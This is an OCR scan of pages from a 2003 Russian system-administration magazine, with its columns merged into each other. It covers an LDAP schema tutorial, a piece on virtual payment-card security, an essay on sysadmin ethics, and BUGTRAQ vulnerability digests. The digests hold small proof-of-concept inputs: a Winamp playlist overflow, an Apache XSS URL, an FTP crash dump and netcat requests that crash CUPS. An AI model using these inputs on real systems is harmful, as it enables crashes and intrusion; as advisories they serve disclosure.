ществуют файлы схем. В файле схе- реть, как сделано в готовых схемах ять пробел!), который указывает,
мы описываются классы и их атрибу- (я думаю, что изменить последнюю что данный атрибут может прини-
ты, чтобы подключить схему к LDAP, пару чисел готового OID не соста- мать только единственное значе-
необходимо прописать в файле вит труда, а описывать это мне пред- ние (по умолчанию ему можно при-
slapd.conf полный путь к нужной схе- ставляется совершенно ненужным). сваивать несколько значений).
ме. По умолчанию к LDAP подключе- После сочинения OID перейдём к до-  NO-USER-MODIFICATION – флаг,
ны несколько основных схем, суще- бавлению новых атрибутов. Для запрещающий модификацию дан-
ствуют также сторонние схемы, на- этой цели используется директива ного атрибута пользователем (по
пример для SAMBA или некоторых attributetype. Вот как выглядят опи- умолчанию модификация разре-
почтовых серверов. Чтобы эти схемы сания атрибутов в схеме SAMBA шена).
использовать, в slapd.conf прописыва- (приведён маленький фрагмент):
ют нечто подобное: При составлении схемы учтите, что
attributetype ( 1.2.840.113556.1.4.8 после каждой лексемы (включая скоб-
NAME 'userAccountControl'
# Âêëþ÷àåì ñõåìû ïî óìîë÷àíèþ SYNTAX 1.3.6.1.4.1.1466.115.121.1.27 ки и флаги) должен идти один пробел.
# êîìàíäîé include SINGLE-VALUE ) Приведу пример составления атрибу-
include /usr/share/openldap/schema/
core.schema attributetype (1.2.840.113556.1.4.166 та картинки как пути к jpg-файлу:
include /usr/share/openldap/schema/ NAME 'groupMembershipSAM'
cosine.schema SYNTAX 1.3.6.1.4.1.1466.115.121.1.40
include /usr/share/openldap/schema/ attributetype ( 1.1.2.1.2 NAME 'pic'
SINGLE-VALUE ) DESC 'my jpeg picture'
inetorgperson.schema
# Âêëþ÷àåì ñõåìó ñàìáû SYNTAX 1.3.6.1.4.1.1466.115.121.1.26
attributetype (1.2.840.113556.1.4.213 SINGLE-VALUE )
include /usr/share/openldap/schema/ NAME 'defaultClassStore'
samba.schema SYNTAX 1.3.6.1.4.1.1466.115.121.1.12)
# Âêëþ÷àåì ñâîþ ñõåìó
include /usr/share/openldap/schema/ И, например, картинки на сайте,
my_cool.schema Как видно, в скобках идёт внача- представленной в виде URL:
ле OID атрибута, затем NAME и имя
Теперь разберёмся, как эти схемы атрибута в кавычках, а затем тип ат- attributetype ( 1.1.2.1.3 NAME 'URLpic'
DESC 'URL to picture'
создавать. Если вы откроете какую- рибута. Вот тут немного остановлюсь. SUP pic )
нибудь схему, то сначала всё покажет- Видно, что тип атрибута – это также
ся довольно жутким. Хочу сразу же OID (ужас-то какой, но это позволяет Создание нового класса несколь-
вас обрадовать: это действительно добавлять даже свои типы). Стандар- ко проще, приведу пример класса
жутко! Чтобы хоть чего-то объяснить тно предопределено несколько типов: cronEntry из cron.schema:
расскажу об OID. OID (уникальный
идентификатор объекта) использует- ëîãè÷åñêèé objectclass (1.3.6.1.4.1.7006.1.3.2.1
1.3.6.1.4.1.1466.115.121.1.7 NAME 'cronEntry'
ся LDAP, чтобы не было наложений èìÿ LDAP(DN) SUP top
классов и их атрибутов. OID состоит 1.3.6.1.4.1.1466.115.121.1.12 STRUCTURAL
ñòðîêà ôîðìàòà UTF-8 MUST ( cn $ cronCommand $ uid )
из числовых значений разделённых 1.3.6.1.4.1.1466.115.121.1.15 MAY ( cronHost $
точкой и составляющих в целом ñòðîêà ASCII cronMinute $
1.3.6.1.4.1.1466.115.121.1.26 cronHour $
иерархию OID: öåëîå cronDay $
1.3.6.1.4.1.1466.115.121.1.27 cronMonth $
DN è èäåíòèôèêàòîð ïîëüçîâàòåëÿ(UID) cronDayOfWeek $
1.1 1.3.6.1.4.1.1466.115.121.1.34 owner $
OID äàííîé îðãàíèçàöèè(âûáèðà- ñòðîêà èç ÷èñåë description ) )
åòñÿ ëþáîé) 1.3.6.1.4.1.1466.115.121.1.36
1.1.2 OID
Ñàìè èäåíòèôèêàòîðû LDAP 1.3.6.1.4.1.1466.115.121.1.38 Вначале идёт OID, имя (не забудь-
1.1.2.1
Àòðèáóòû êëàññîâ те кавычки), родительский класс (на-
1.1.2.1.1 Кроме типа атрибута можно ука- следуются атрибуты), тип класса (для
Êîíêðåòíûé àòðèáóò(ìåíÿåì ïîñëåä-
íþþ öèôðó äëÿ êàæäîãî àòðèáóòà) зывать дополнительные его пара- знакомых с объектно-ориентирован-
1.1.2.2 метры: ной моделью объясняю: ABSTRACT –
Ñàìè êëàññû
1.1.2.2.1  DESC – строка (обычный текст), абстрактный (нельзя делать объекты
Êîíêðåòíûé êëàññ которая описывает данный атри- данного класса, можно только насле-
бут. довать) и STRUCTURAL – обычный
Для получения OID можно зайти  SUP – строка (имя) или OID роди- (по умолчанию)). Далее идут поля ат-
на узел www.iana.org (начинается с тельского атрибута (происходит рибутов для класса: MUST – обяза-
1.3.6.1.4). Вообще, как я понял, со- наследование синтаксиса роди- тельные атрибуты, MAY – необяза-
ставление иерархии OID – дело до- тельского атрибута). тельные. Список атрибутов заключа-
вольно проблематичное. Проще все-  EQUALITY – строка (наименование) ется в скобки и разделяется по стран-
го взять какой-либо OID для атрибу- или OID метода поиска, например, ной прихоти не запятыми, а знаками
тов (обычной базой OID является caseIgnoreMatch для поиска данно- доллара (очевидно, это намёк разра-
1.3.6.1.4) и для классов, а затем про- го атрибута без учёта регистра. ботчиков). Думаю, тут можно ещё раз
сто добавить ещё несколько цифр.  SINGLE-VALUE – просто флаг (пос- напомнить о необходимости пробе-
А вообще, лучше просто посмот- ле него должен обязательно сто- лов после каждой лексемы (и долла-

№2(3), февраль 2003 83


безопасность
ров тоже). Вот видите, создание является довольно быстрым механиз- http://www.openldap.org – ldap guide
объектов – не такая уж и тяжёлая мом поиска и, что очень важно, хра- (aka HOWTO, обычно самое новое ру-
вещь. Примеров приводить не буду, нит всё в древовидной базе данных. ководство);
т.к. класс cronEntry является идеаль- Для небольших сетей, я думаю, лучше http://www.mandrakesecure.net/
ным объектом для рассмотрения. использовать текстовые файлы: про- en/docs/ldap-auth.php – очень при-
Честно говоря, я всё-таки рекомен- сто и сердито, а главное быстрее чем личная статья Vincent Danena, кото-
довал бы всем, кто собирается созда- LDAP. Но в крупных сетях это приве- рая описывает принципы настройки
вать новую схему, посмотреть суще- дёт к тихому ужасу, связанному с кон- LDAP;
ствующие, т.к. во-первых, необходи- фликтами разных пользователей, ма- http://www.opennet.ru – статья по
мо убедиться в уникальности OID, а шин, серверов. Я сам был свидетелем работе с LDAP на русском языке, но
во-вторых, меньше будет ошибок в сетки из ~1000 машин, соединённых она довольно старая, хотя там нема-
своей схеме. банальной сеткой мелкомягких (без ло полезного материала.
доменов!), где NovellNetware использо-
В качестве заключения валась лишь как файл-сервер. LDAP К сожалению, в данной статье я
Я думаю, что если у вас в распоряже- и SAMBA в этом случае снимают боль- упустил из виду некоторые вещи по
нии находится крупная сеть, то приме- шинство этих проблем. Итак, на этот работе с LDAP, например, работу с
нение LDAP является идеальным ре- раз всё. В следующий раз я расскажу SASL, Kerberos, описание програмных
шением централизованного управле- о популярных LDAP-клиентах и серве- компонентов ldap. Постараюсь зак-
ния аутентификацией на всех уровнях. рах, о создании собственных клиентов. рыть эти недостатки в следующих ста-
Использование реплик делает LDAP тьях. LDAP – довольно сложная сис-
надёжным, а хорошие методы шифро- Список полезных ссылок: тема, поэтому охватить всё не уда-
вания обеспечивают приличную сте- http://www.tldp.org – LDAP HOWTO лось. Надеюсь, что кому-то мои тру-
пень безопасности. Кроме этого, LDAP и LDAP-implementation HOWTO; ды пошли на пользу.

84
BUGTRAQ
Переполнение буфера в Winamp Межсайтовый скриптинг в Apache
Winamp поддерживает проигрывание b4s-файлов, ко- Уязвимость межсайтового скриптинга обнаружена в
торые составляются посредством xml. Синтаксис таков: типовом сценарии “printenv”, поставляемом с Apache
веб-сервером. Уязвимость позволяет удаленному ата-
<?xml version="1.0" encoding='UTF-8' standalone="yes"?> кующему создать злонамеренную ссылку, содержащую
<WinampXML>
<!-- Generated by: Nullsoft Winamp3 version 3.0 --> произвольный код сценария в параметрах уязвимого
<playlist num_entries="[êîë-âî çàïèñåé]" скрипта, который будет выполнен в браузере пользо-
label="[íàçâàíèå_list'a]">
вателя в контексте уязвимого сайта при клике на та-
<entry Playstring="file:[ïóòü_ê_çâóêîâîìó_ôàéëó]"> кую ссылку. Уязвимость позволяет атакующему красть
<Name>[íàçâàíè_ïåñíè]</Name>
<Length>[âåëè÷èíà_â_áàéòàõ]</Lengt> данные, хранящиеся в куки пользователя. Пример:
</entry>

</playlist> http://www.example.com/cgi-bin/printenv/<a
</WinampXML> href="bad">test</a>

Переполнение буфера происходит при обработке чрез- Уязвимость обнаружена в Apache Software Foundation
мерно длинного названия листа (4-ая строчка). Причем Apache 1.3.22-2.0.43.
есть некоторые нюансы:
При получении 16 398 байт переполнение происходит Множественные уязвимости в KDE
только при выходе из WinAmp’a. 4-мя байтами затирает- В некоторых случаях KDE неправильно приводит па-
ся eax и retaddr (причем ret находится в регистре eax). Если раметры инструкций, переданные в командную оболоч-
же название листа еще увеличить на ~100b, переполне- ку для исполнения.
ние произойдет сразу же при запуске. 12-ю байтами пе- Эти параметры могут содержать данные типа URL,
резапишутся ecx, esi и retaddr. Хотя, что касается адрес- имен файлов и адресов электронной почты, и эти данные
ного пространства, данные могут разниться в зависимос- могут быть дистанционно преданы жертве в электронном
ти от билда WinAmp’a и вообще операционной системы. сообщении, веб-странице или через другие источники.
Так или иначе, составить b4s’ку, протроянивающую сис- Тщательно обрабатывая такие данные, нападающий
тему, не составляет никакого труда. может выполнить произвольные команды на уязвимой
Уязвимость обнаружена D4rkGr3y из Damage Hacking системе с привилегиями текущего пользователя.
Group. Уязвимость обнаружена в KDE 2.0-3.0.5.

№2(3), февраль 2003 85


безопасность

БЕЗОПАСНОСТЬ ТЕХНОЛОГИИ
ВИРТУАЛЬНЫХ КАРТ

СЕРГЕЙ РОПЧАН
Смысл виртуальной карты заключается в том, чтобы психологически «раскрепостить» клиента при
совершении электронных покупок. Действительно, карта, которой пользуется покупатель, связана
с небольшим по размеру счетом, и потому весь риск покупателя ограничен потерей средств на
нем.

Идея виртуальной карты (е-card) осно- сотовой связи, интернет-провайдеров,  эмитенты должны понятным для
вана на том, что во время проведения туристических компаний, предприя- клиента образом передать ему но-
CNP-транзакции (CPN-Cardholder Not тий гостиничного бизнеса и т. д. Для мер карты, ее срок действия и т. п.,
Present – операция покупки по пласти- проведения других операций (расче- а также способ ее использования;
ковой карте, в момент совершения ко- тов в обычной торговой сети, получе-  эмитенты должны утвердить вы-
торой клиент не присутствует лично в ния наличных денежных средств) кар- пуск виртуальных карт в соответ-
торговой точке, а сообщает ей рекви- та VISA E-c@rd не предназначена. ствующих департаментах серти-
зиты своей карты, необходимые для Использование виртуальной карты фикации карт международных
проведения авторизации) пластиковая удобно для клиента в случае, когда платежных систем;
карта как физический объект не банк-эмитент дополнительно предос-  эмитент должен ясно объяснить
применяется. Используются лишь рек- тавляет ему услуги интернет-банкин- владельцу виртуальной карты, что
визиты карты, и совсем необязатель- га для управления своими счетами. В она не может использоваться в ре-
но, чтобы они были нанесены на плас- этом случае клиент в удаленном режи- жиме Dual Mode, когда авториза-
тик. Поэтому можно выделить от- ме при помощи только персонального ция производится по виртуальной
дельные, предназначенные специаль- компьютера, подключенного к Интер- карте, а презентмент сформиро-
но для электронной коммерции номе- нету, может в режиме реального вре- ван по обычной карте, привязан-
ра карт с сопутствующими им рекви- мени перевести средства со своего ной к тому же счету, что и
зитами, и «привязать» к таким вирту- «главного» счета на счет, связанный с виртуальная карта.
альным картам счета с небольшим ос- виртуальной картой, в количестве, не-
татком. В этом случае клиент будет за- обходимом для совершения намечен- Для того чтобы передать клиенту
страхован от крупных потерь, связан- ных электронных покупок. реквизиты виртуальной карты, эми-
ных с риском мошенничества. Требования к виртуальным картам тент может использовать некоторый
Гута Банк стал первым российс- состоят в следующем: физический носитель информации о
ким банком, который приступил к  виртуальная карта должна иметь реквизитах карты (Reference Device –
эмиссии виртуальных карт платеж- номер (например, система RD). RD по своим физическим харак-
ной системы VISA, получивших MasterCard требует, чтобы номер теристикам должен явным образом
название VISA E-c@rd и специально карты состоял из 16 цифр) и срок отличаться от обычной карты. В част-
предназначенных для осуществления действия; ности, RD не должен иметь тех же
платежей в Интернете. Проект был  система MasterCard требует, что- размеров и пропорций, что и обычная
запущен летом 2000 года, после того бы с виртуальной картой была свя- карта, содержать голограмм платеж-
как компания VISA International за- зана величина CVC2 (VISA остав- ных систем, а также магнитной поло-
вершила сертификацию VISA E-c@rd ляет вопрос использования вели- сы и чипа.
и официально санкционировала их чины CVV2 для виртуальной кар- В то же время на физическом но-
эмиссию Гута Банком. ты на решение эмитента карты); сителе должен находиться логотип
Карты VISA E-c@rd предназначе-  к виртуальным картам применяют- платежной системы, размеры и цвет
ны для оплаты через Интернет любых ся те же правила, что и к обычным которого определяются правилами
видов товаров и услуг в любых элект- картам, за исключением правил, платежной системы. Дизайн физичес-
ронных магазинах во всем мире, в том которые связаны с физическими кого носителя, а также иные средства
числе для оплаты услуг операторов характеристиками карт; доведения информации о реквизитах

86
безопасность
карты и правилах ее использования помощью технологии виртуального расчетов разделены) система эмитен-
должны пройти обязательную серти- номера карты должен установить на та будет обязана также обработать
фикацию в платежной системе. свой компьютер специальное ПО. клиринговое (финансовое) сообще-
Другое важное требование между- После того как клиент получает от ние, связанное с рассматриваемой
народных платежных систем заклю- интернет-магазина для заполнения транзакцией. При обработке клирин-
чается в том, что виртуальная карта форму, содержащую информацию о гового сообщения требуется выпол-
может быть выдана: реквизитах карты, ПО клиента ини- нить необходимую подстановку ре-
 владельцу «физической» карты; циирует обращение к системе сво- ального номера карты вместо вирту-
 клиенту, не имеющему «физичес- его эмитента. Эмитент генерирует ального номера.
кой» карты платежной системы, но для клиента виртуальный номер кар- Достоинство идеи виртуального
имеющему возможность получить ты и возвращает его клиенту. При номера карты уже отмечалось. Веро-
ее по его первому требованию. этом эмитент контролирует в неко- ятность мошенничества при реализа-
тором смысле уникальность сгене- ции идеи эмитентом практически рав-
Эти условия по замыслу платеж- рированного номера карты, а также на нулю. При этом технология работы
ных систем должны сформировать принадлежность префикса карты к платежной системы никак не затра-
столь же серьезное отношение бан- выделенному для эмитента диапа- гивается, начиная с уровня торговой
ка-эмитента к виртуальной карте, как зону значений BIN. точки – те же протоколы, форматы
и к обычной, поскольку ответствен- После этого транзакция выполня- сообщений и т. п.
ность банка за своего клиента-вла- ется обычным образом. Клиент на- В то же время идея виртуальных
дельца виртуальной карты не меня- правляет интернет-магазину запол- номеров карт имеет и ряд недостатков.
ется по сравнению со случаем вла- ненную форму, в которой в качестве Во-первых, как уже упоминалось,
дельца обычной карты. номера карты фигурирует виртуаль- владелец карты должен установить на
Ключевым фактором в реализа- ный номер. В результате выполнения своем компьютере специальное ПО,
ции программ виртуальных карт явля- стандартных процедур обработки называемое электронным кошельком.
ется небольшое время, необходимое транзакции в системе обслуживаю- Для некоторой категории клиентов
международным системам и банкам- щего банка и платежной системы из такая процедура сама по себе пред-
эмитентам для их запуска. Сегодня последней в систему эмитента посту- ставляет проблему.
это время оценивается в две недели. пает авторизационный запрос, со- Во-вторых, эмитент должен пред-
держащий виртуальный номер кар- ложить клиенту процедуру его аутен-
Виртуальные номера карт ты. Эмитент, получив авторизацион- тификации во время обращения кли-
Идея виртуальной карты получила ный запрос, устанавливает соответ- ента за виртуальным номером в сис-
развитие в технологии виртуального ствие между данными, сгенерирован- тему эмитента. Как правило, исполь-
номера карты (используются также ными при инициализации транзак- зуется система паролей – клиент в
термины pseudo card number и proxy ции, и данными авторизационного защищенной сессии с системой эми-
card number). Суть этой технологии запроса. Соответствие ищется по тента сообщает последней свой иден-
заключается в том, что при запол- целому ряду параметров. тификатор и кодовое слово (пароль).
нении формы торгового предприя- Например, система MasterCard к Здесь существуют несколько подхо-
тия во время операции по оплате обязательным параметрам относит дов к решению задачи. Наиболее на-
владелец карты вместо реального номер карты, срок ее действия, имя дежным является получение клиентом
номера карты сообщает интернет- магазина (Merchant Name), идентифи- своих идентификатора и пароля
магазину некоторый случайный но- катор магазина (Merchant ID), сумму непосредственно в банке (в крайнем
мер. После того как транзакция транзакции и валюту транзакции. случае письмом из банка, причем
поступает в систему эмитента для Эмитент определяет реальный номер идентификаторы клиента должны
авторизации, производится обрат- карты, выполняя обратное преобразо- распечатываться в PIN-конверте для
ное преобразование виртуального вание, проводит с его использовани- того, чтобы сделать информацию зак-
номера карты в реальный номер. В ем авторизацию транзакции и резуль- рытой для банковского персонала).
результате при выполнении опера- тат возвращает в платежную сеть, Этот подход является неудобным
ций покупки реальный номер карты предварительно вновь подставив в для клиента. Поэтому на практике
никогда не передается в платежную авторизационный ответ виртуальный находит применение другой, менее
сеть и остается в системе эмитен- номер карты. надежный метод. Клиент получает
та. Таким образом, вероятность ком- Если в платежной системе исполь- свои идентификаторы во время пер-
прометации реальных номеров карт, зуется технология Single Message вой сессии с системой эмитента. Он
а также вероятность успешного со- System (авторизационный запрос яв- идентифицирует себя, представляя
вершения транзакции мошенником ляется одновременно и финансовым эмитенту реквизиты карты, а также
становятся близкими к нулю. сообщением, требующим от эмитен- дополнительную информацию, запра-
Технически идея виртуального та возмещения средств), то процесс шиваемую эмитентом (например, но-
номера карты может быть реализо- на этом завершается. В случае при- мер паспорта, девичью фамилию ма-
вана следующим образом. Клиент менения технологии Dual Message тери и т. п.). В ответ в случае положи-
для оплаты электронных покупок с System (процедуры авторизации и тельного результата аутентификации

№2(3), февраль 2003 87


безопасность
клиент получает свой идентификатор магазинов быстро переполнятся, что щим образом. После того как вла-
и пароль. Весь обмен информацией повлечет за собой операционные про- делец карты сообщил торговой точ-
между клиентом и системой эмитен- блемы в их функционировании. ке о готовности платить с использо-
та происходит в защищенной сессии. У интернет-магазинов имеются и ванием карты Maestro, интернет-
Логическое соединение с системой другие проблемы. Например, если магазин отправляет на сервер эми-
эмитента обеспечивается кошельком клиент совершил в одном и том же тента (e-Wallet в терминах Maestro),
клиента. Более низкая защищенность магазине в течение относительно ко- хранящий информацию о реквизи-
этого метода связана с тем, что в про- роткого интервала времени две тран- тах своих карт, специальное сооб-
цессе идентификации клиента могут закции на одинаковую сумму, то при щение. Это сообщение содержит ин-
быть различные подставки со сторо- необходимости провести операцию формацию о торговой точке
ны мошенников, имитирующих рабо- «возврат покупки» будет неясно, ка- (Merchant Name, Merchant ID), о сум-
ту эмитента. кой номер карты подставлять в тран- ме и валюте покупки, идентифика-
В-третьих, помимо виртуального закцию возврата. Это связано с тем, тор транзакции в системе торговой
номера карты система эмитента в не- что в системах торговой точки в ка- точки и т. п. Одновременно сервер
которых случаях должна в режиме честве ключа для поиска транзакции, магазина переключает владельца
реального времени генерировать зна- как правило, используется номер карты на сервер эмитента.
чения CVC2/CVV2. карты и сумма транзакции. Поэтому, Сервер эмитента устанавливает с
Конечно, эмитент, применяющий если клиент не может назвать точное владельцем карты защищенное со-
технологию виртуальных номеров значение номера карты, существует единение и направляет клиенту фор-
карт, может и не проверять значения вероятность того, что при формиро- му для проведения его аутентифи-
CVC2. В этом случае в платежную вании возврата будет подставлено кации. Например, эмитент может зап-
сеть может направляться любое слу- неправильное значение номера кар- росить у владельца карты ранее пре-
чайное значение CVC2. Однако при ты и в учетной системе магазина по- доставленные ему идентификатор и
таком подходе эмитент лишается явится неправильная запись – будет пароль. После того как владелец кар-
возможности использовать резерв- «возвращен» не тот товар со всеми ты аутентифицирован сервером эми-
ную авторизацию (авторизацию вытекающими последствиями для тента, последний формирует запрос
Stand-In), предоставляемую в его подсистемы управления запасами на сервер торговой точки, содержа-
распоряжение многими платежными магазина и т. п. щий сгенерированный эмитентом вир-
системами на случай отказа в рабо- Наконец, использование виртуаль- туальный номер карты.
те системы эмитента. В режиме ре- ных номеров карт влечет за собой и По решению Maestro имеется не-
зервной авторизации платежная сеть проблемы в системах эмитента. Необ- сколько вопросов, ответы на которые
от лица эмитента в соответствии с ходимость хранения информации обо явно не следуют из официального
параметрами, установленными эми- всех используемых номерах карт – описания схемы.
тентом, производит авторизацию одна из них. Во-первых, не определено, каким
транзакции. В системе резервной Требования к технологии вирту- образом торговая точка узнает ад-
авторизации существует общий па- альных номеров карт при использова- рес сервера эмитента карты
раметр для всех префиксов карт, оп- нии, например, карт Maestro состоят Maestro. В простейшем случае тор-
ределяющий действие эмитента на в следующем. Эмитент должен гене- говая точка знает адреса серверов
случай неверного значения CVC2/ рировать 16-цифровые номера карт эмитента для некоторого ограничен-
CVV2 – отклонить транзакцию сразу (при этом виртуальный номер карты ного набора префиксов (локальное
или продолжить другие проверки. может совпадать с реальным номе- решение). В общем случае необхо-
Если такой параметр установить рав- ром карты), а также проверять соот- димо создавать некоторую центра-
ным по значению «не отклонять», то ветствие между данными, сгенериро- лизованную ди- ректорию адресов,
и по всем другим операциям и пре- ванными при инициализации транзак- и тогда торговая точка должна об-
фиксам будет приниматься то же ре- ции, и данными авторизационного ращаться к серверу директории, ко-
шение, что наверняка противоречит запроса. Как указывалось ранее, торый уже маршрутизирует запрос
интересам эмитента. соответствие ищется как минимум по на сервер эмитента.
В-четвертых, применение техноло- номеру карты, сроку ее действия, Второй вопрос связан с необходи-
гии виртуальных номеров карт по- имени магазина (Merchant Name), мостью определения спецификации
влечет за собой проблемы для тех идентификатору магазина (Merchant интерфейса между торговой точкой и
интернет-магазинов, которые сохра- ID), сумме транзакции и валюте тран- сервером эмитента. Речь идет о се-
няют номера карт клиентов, уже од- закции. мантике и синтаксисе сообщений, ко-
нажды обращавшихся в торговое Отличительная особенность ре- торыми обмениваются торговая точ-
предприятие за услугами, чтобы не шения для карт Maestro заключает- ка и сервер эмитента.
заставлять клиента набирать свои ся в том, что владелец карты не дол- Распределение ответственности
реквизиты при следующих обращени- жен ус танавливать на своем при возникновении диспута по тран-
ях в торговую точку. Очевидно, что компьютере никакого специального закции ничем не отличается от того,
при массовом применении технологии ПО (элек тронного бумажника). каким образом оно производится при
виртуальных номеров карт БД таких Транзакция выполняется следую- использовании модели трех доменов.

88
BUGTRAQ
Уязвимость в для этой уязвимости через веб-браузер и Outlook. Злона-
Linux 2.2.xx /proc/<pid>/mem mmap() меренный сайт мог содержать IFRAME NetBIOS-ресурса,
Локальная системная уязвимость аварийного отказа который содержит злонамеренный MP3-файл. Точно так-
присутствует в Linux ядре 2.2.x. Система, вероятно, за- же можно послать HTML-электронное сообщение, кото-
виснет и потребуется ручная перезагрузка. рое содержит ссылку на NetBIOS-ресурс. Успех такого на-
Интерфейс /proc/pid/mem предназначен, чтобы разре- падения зависит от параметров настройки Outlook. Напа-
шить одному приложению при некоторых условиях обра- дение через злонамеренный веб-сайт не зависит от пара-
титься к памяти другого приложения. Эта особенность метров настройки защиты Internet Explorer.
очень полезна для разработчиков или администраторов, Уязвимость обнаружена в Windows Explorer для
которые желают отладить или анализировать программы, Windows XP.
выполняющиеся на их системе. Один из способов обра-
титься к памяти непосредственно – использовать mmap().
Уязвимость обнаружена в способе, которым этот про- Переполнение буфера
цесс подтверждает правильность. Уязвимость позволяет в Hyperion FTP Server
пользователю, используя интерфейс mmap(), обратиться Hyperion FTP Server (http://www.mollensoft.com/ ) – FTP-
к страницам памяти, которые нечитаемы прослеживае- server для Windows-систем. Уязвимость, обнаруженная в
мым процессом. Пользователь может передать параметр Hyperion Ftp Server (version 2.8.11), позволяет удаленно-
PROT_READ для этого запроса, чтобы запросить доступ му пользователю выполнять произвольный код. Перепол-
для чтения к этому отображению. Из-за недостаточной нение происходит при передаче длинного параметра (бо-
проверки правильности он получит такой доступ. Это при- лее 300 байт) к команде Dir:
ведет к краху системы.
ftpservx.dll
who does not support dir+(buffer=300 byte)
Access violation - code c0000005 (first chance)
Подробности переполнения eax=0012bcbc ebx=0012c574 ecx=42424242 edx=7846f5b5
буфера в Windows XP esi=0012bce4 edi=00147ffd
eip=42424242 esp=0012bc24 ebp=0012bc44 iopl=0 nv up
Переполнение буфера существует в Explorer при ав- ei pl zr na po nc
томатическом считывании атрибутов MP3- или WMA-фай- cs=001b ss=0023 ds=0023 es=0023 fs=003b
gs=0000 efl=00000246
лов в Windows XP. Нападающий может создать злонаме- 42424242 ?? ???
ренный MP3- или WMA-файл в папке в системе Windows
XP, который может использоваться для удаленного вы- Уязвимость обнаружена в Hyperion FTP Server 2.8.11.
полнения произвольного кода при просмотре такой папки
в Windows XP. При этом MP3-файл не должен быть запу-
щен, он просто должен быть сохранен в папке, которая Переполнение буфера в
будет просмотрена, типа папки загрузки MP3, рабочего Common Unix Printing System
стола или NetBIOS-ресурса. Cups (Common Unix Printing System) – свободно дос-
Пользователь Windows XP, посещающий сайт с помо- тупный пакет для управления принтером от Cups Project
щью Internet Explorer, может быть дистанционно скомпро- для Unix- и Linux-платформ.
метирован без какого-либо предупреждения или загруз- Обнаруженная в CUPS уязвимость позволяет удален-
ки файлов, независимо от параметров настройки защи- ному атакующему выполнять произвольный код на уязви-
ты Internet Explorer. мой системе. Нападающий может эксплуатировать эту
В отличие от Windows 2000, Windows XP поддержива- уязвимость, соединяясь с уязвимой системой и переда-
ет чтение и анализ атрибутов MP3- и WMA-файлов. Если вая уродливые HTTP-заголовки с отрицательным значе-
пользователь подсвечивает MP3- или WMA-файл курсо- нием для некоторых полей. Когда cupsd получит этот зап-
ром, будут отображены соответствующие подробности рос, его работа аварийно завершится. Пример:
файла. Explorer автоматически читает атрибуты файла,
независимо от того, действительно ли пользователь под- $ nc -v localhost 631
свечивает или открывает файл. Переполнение произой- localhost [127.0.0.1] 631 (?) open
дет, если некорректные атрибуты существуют внутри MP3- POST /printers HTTP/1.1
Host: localhost
или WMA-файла. Authorization: Basic AAA
Пользователь просто должен просмотреть папку (ло- Content-Length: -1
кальный или сетевой ресурс), который содержит злонаме- $ nc -v localhost 631
ренный файл. Например, пользователь может загрузить localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
MP3-файл, используя популярные пиринговые программы, Host: localhost
и затем открыть их MP3-папку (чтобы прослушать загру- Authorization: Basic AAA
Transfer-Encoding: chunked
женный MP3-файл). После открытия папки Explorer выпол-
нил бы код, содержащийся внутри атрибутов файла. - - - - -FFFFFFFE
Пользователи Windows 2000 неуязвимы при просмот-
ре таких MP3-файлов с испорченными атрибутами. Уязвимость обнаружена в Easy Software Products CUPS
Два дополнительных вектора нападения существуют 1.0.4-1.1.17 Apple MacOS X 10.2-10.2.2.

№2(3), февраль 2003 89


IMHO

ЭТИКА СИСАДМИНА

В замечательном романе Гарри Гариссона «Специалист по


этике» из цикла «Неукротимая планета» Язон ДинАльт говорит
такую фразу «Для меня святыня – Я!»... А чем
руководствуетесь вы в своей повседневной практике
системного администрирования?

АНДРЕЙ ГУСЕЛЕТОВ

90
IMHO
Не так уж и давно, а именно – 26 июля администраторы – имели некий ко- тысячи, а, боюсь, гораздо больше...
2002 года, я отмечал свой професси- декс чести. Чтобы не оступиться. Да- Вот ведь какая штука получает-
ональный праздник – «День систем- вайте его создадим? ся – недостаточно иметь отличные
ного администратора»1, что, впрочем, Действительно, задумайтесь: в технические познания, для того
наверняка делали и вы: какой же рус- типичной небольшой организации чтобы быть хорошим сис-
ский не любит быстрой езды и празд- (около 60-90 компьютеров) систем- темным администратором,
ников? Знал я об этом заранее и, как ный администратор зачастую имеет надо еще и уважать людей не
на многие праздники, проснулся ут- практически неограниченные права. только за их познания о компью-
ром раненько с чувством легкой эй- Я специально не буду рассматривать терах. Нет, я не призываю вас бро-
фории и в предвкушении чего-то нео- ситуацию с раздельным админист- саться целоваться с любителем ваз
быкновенного. Ну ничего необыкно- рированием (когда, например, один эпохи Минь или акварельных рисун-
венного в этот день не случилось, занимается только правами на ди- ков на рисовой бумаге. Совсем нет.
правда, один мой друг с Мальты при- ректории, второй – пользовательс- (Каким бы это не показалось смеш-
слал мне ссылочку на сайт2, посвя- кими бюджетами, а за дисковые кво- ным и надуманным, но вот как раз
щенный Дню системного администра- ты отвечает третий человек). Да, та- последнее – японские акварели на
тора. И вот, читая его содержимое, я кие системы и идеологии существу- рисовой бумаге – я просто обожаю.)
и задумался: «А что собственно ле- ют. Но где они реально работают? Но и подходить к людям с мерилом
жит в моральной основе моих дей- Вернемся к нашей преуспевающей по их познанию NTFS или sendmail
ствий, в моей профессиональной эти- фирме: эта гипотетическая органи- тоже нельзя.
ке?». Собственно, фраза, которая зация развивалась очень быстро, за Допустим, с одной вещью я разоб-
меня толкнула на эти размышления, 3-4 года штат компьютеров увели- рался, поднимаю своего Константи-
звучит в оригинале так: «System чился с 3 до 50, и, соответственно, на (еще помните? паренёк-админис-
Administrator Appreciation Day – a первоначально работавший там про- тратор в небольшой, но весьма пре-
special day, once a year, to acknowledge граммистом человек, паренек лет успевающей российской фирме) на
the worthiness and appreciation of the 20-24 (уж очень в нашей стране лю- ступенечку выше – теперь он уважа-
person occupying the role, especially as бят экономить деньги, нанимая сту- ет бухгалтера Степан Васильевича,
it is often this person who really keeps дентов) теперь фактически работа- как оказалось, у того дома живут
the wheels of your company turning». ет системным администратором. четыре канарейки, и он столько все-
«День, посвященный системному ад- Пусть его зовут Костя. Да, он где-то го может о них рассказать – просто
министратору, – особый день в году, подучился, уже умеет достаточно заслушаешься! И приходит к Кон-
в который вы можете выразить, на- прилично ставить Windows 2000 стантину девушка-диспетчер:
сколько вы цените и признательны че- Advanced Server, кое-что знает о – Костя, вот у меня тут отчет не
ловеку, занимающему это место [си- Linux и коммуникациях, зачастую он читается, ты не мог бы посмотреть,
стемного администратора], так как ча- же параллельно занимается и офис- может у меня что-то с дисководом ?
сто это тот, кто действительно помо- ной АТС. Вот, казалось бы, а что еще – Угм, – тихо буркнул себе под нос
гает крутиться «колесам» вашей ком- надо? А как он разговаривает с Костя, даже не повернувшись на го-
